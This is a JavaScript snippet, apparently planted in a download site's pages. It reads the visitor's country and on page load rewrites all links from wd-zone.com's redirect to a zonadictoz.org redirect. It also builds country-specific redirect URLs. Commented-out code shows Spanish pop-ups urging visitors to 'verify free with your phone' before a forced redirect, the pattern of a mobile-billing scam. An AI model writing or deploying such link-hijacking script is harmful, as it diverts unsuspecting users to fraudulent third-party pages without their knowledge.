function fixLinks(){
    var links =  document.getElementsByTagName('a');
    for(i = 0 ; i<links.length ; i++){
    var curLink = links[i].href 
    links[i].href = curLink .replace('wd-zone.com/go/redirect.php','zonadictoz.org/redirect1.php');
    }
  }
country = geoip_country_code()
var url = "http://zonadictoz.org/@REDIRECT@";
var blank;
var timeout = 10000;
switch (country) {
    case "MX":
        url = url.replace("@REDIRECT@", "adjalMX.php");
        break;
    case "ES":
        url = url.replace("@REDIRECT@", "adjalES.php");
        break;
    case "PE":
        url = url.replace("@REDIRECT@", "adjalPE.php");
        break;
    case "AR": 
        url = url.replace("@REDIRECT@", "adjalAR.php");
        break;
    case "PY":
        url = url.replace("@REDIRECT@", "adjalPY.php");
        break;
    case "CO":
        url = url.replace("@REDIRECT@", "adjalCO.php");
        break;
    case "CL":
        url = url.replace("@REDIRECT@", "adjalCL.php");
        break;  
    default:
        url = url.replace("@REDIRECT@", "r.php");
        blank = true;
}

if (!blank) {
    url += "?title=" + encodeURIComponent(document.title);
}

if(country=="MX"){
    //alert("Verifica Gratis con tu Celular para Comenzar la Descarga");
    //setTimeout(function() {
    //window.location.href = url;
//}, timeout);
    window.onload = fixLinks;
} else if (country == "ES") {
    //alert("Verifica Gratis con tu Celular para Comenzar la Descarga");
    //setTimeout(function() {
    //window.location.href = url;
//}, timeout);
    window.onload = fixLinks;
} else if (country == "PE") {
   // window.onload = fixLinks;
} else if (country == "AR") {
    //alert("Verifica Gratis con tu Celular para Comenzar la Descarga");
    //setTimeout(function() {
    //window.location.href = url;
//}, timeout);
    window.onload = fixLinks;
} else if (country == "PY") {
    //alert("Verifica Gratis con tu Celular para Comenzar la Descarga");
    //setTimeout(function() {
    //window.location.href = url;
//}, timeout);
    window.onload = fixLinks;
} else if (country == "CO") {
   // alert("Verifica Gratis con tu Celular para Comenzar la Descarga");
    //setTimeout(function() {
    //window.location.href = url;
//}, timeout);
    window.onload = fixLinks;
} else if (country == "CL") {
    //alert("Verifica Gratis con tu Celular para Comenzar la Descarga");
    //setTimeout(function() {
    //window.location.href = url;
//}, timeout);
    window.onload = fixLinks;
} else {
    //alert("En 4 segundos comenzara la descarga");
   // setTimeout(function() {
   // window.location.href = url;
//}, timeout);
    window.onload = fixLinks;
}